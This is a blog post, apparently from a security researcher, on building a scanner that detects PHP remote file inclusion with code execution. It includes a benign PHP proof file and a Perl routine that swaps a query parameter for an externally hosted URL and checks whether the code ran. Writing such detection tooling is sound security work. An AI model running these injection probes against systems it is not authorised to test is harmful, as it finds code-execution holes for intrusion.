Writing a better RFI scanner

| | Comments (2)
So had this chat with the boys in the office the other day and mentioned my long standing thoughts on how automated remote file inclusion scans should be done right, and figured I might as well share it with everyone.

Most tools today will just try to fetch a web url, like http://www.google.com and claim that it has found a remote file inclusion. I suppose technically it is still accurate, but I mostly care for code execution, not so much web proxy scripts. To be honest, detecting code execution is pretty trivial. Sure it becomes more annoying as you try to support multiple languages, but for now, lets focus on the worst RFI offender; PHP.

Lets pretend I'm writing a scanner, and this scanner uses the normal crawl and replace querystring values with my RFI url approach. My first port of call is to create a code snippet that I will use for testing code execution with. I've picked the string just another remote file inclusion! as my signature. Now we add some complexity to ensure that we don't accidentally get a false positive on the remote chance that the webpage we're fuzzing happened to contain that string.

~$ echo -n 'just another remote file inclusion!' | md5sum -
8a7f7dc99a12132a94c88b931e92f463  -
~$ echo -n '8a7f7dc99a12132a94c88b931e92f463' | uuencode -m -
begin-base64 644 -
OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=
====
This gives me both the code exec and non code exec signatures. We stuff the base64 into a php file like so: [RFIproof.txt]
<?php echo(base64_decode('OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=')); ?>
Then I write a simple snippet to check for RFI:
sub check_RFI_exec {
    my ($url, $querystring, $fuzzparam) = @_;   #Function arguments
    $querystring =~ s!$fuzzparam=[^&]+!$fuzzparam=http://www.justanotherhacker.com/RFIproof.txt!;   #Using ! to avoid escaping characters
    my $content = get("$url?$querystring");    # Fetching url using lwp-simple 
    if ($content =~ m/8a7f7dc99a12132a94c88b931e92f463/) {    #md5sum means base64_exec'ed
        print "RFI code exec at: $url?$querystring\n";
   } elsif ($content =~ m/OGE3ZjdkYzk5YTEyMTMyYTk0Yzg4YjkzMWU5MmY0NjM=/) {   #base64 string means no exec
       print "RFI without exec: $url?$querystring\n";
   }
}
I chose perl, but you can write yours in whatever language you choose. Adding some error handling is recommended, but I left it out as it's only a hypothetical code snippet. I'm not actually writing this scanner, but hopefully someone else will.

2 Comments

I think it's more a problem of having a solution that works almost everywhere for anyone running the scanner than not thinking of this solution.

Yet most scanners have a webpage, w3af uses it's own website as it's RFI url by default. It's not like hosting an additional file would present a huge problem. The biggest obstacle I see is reliably detecting code execution across multiple languages, especially if you want to support custom urls.

No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.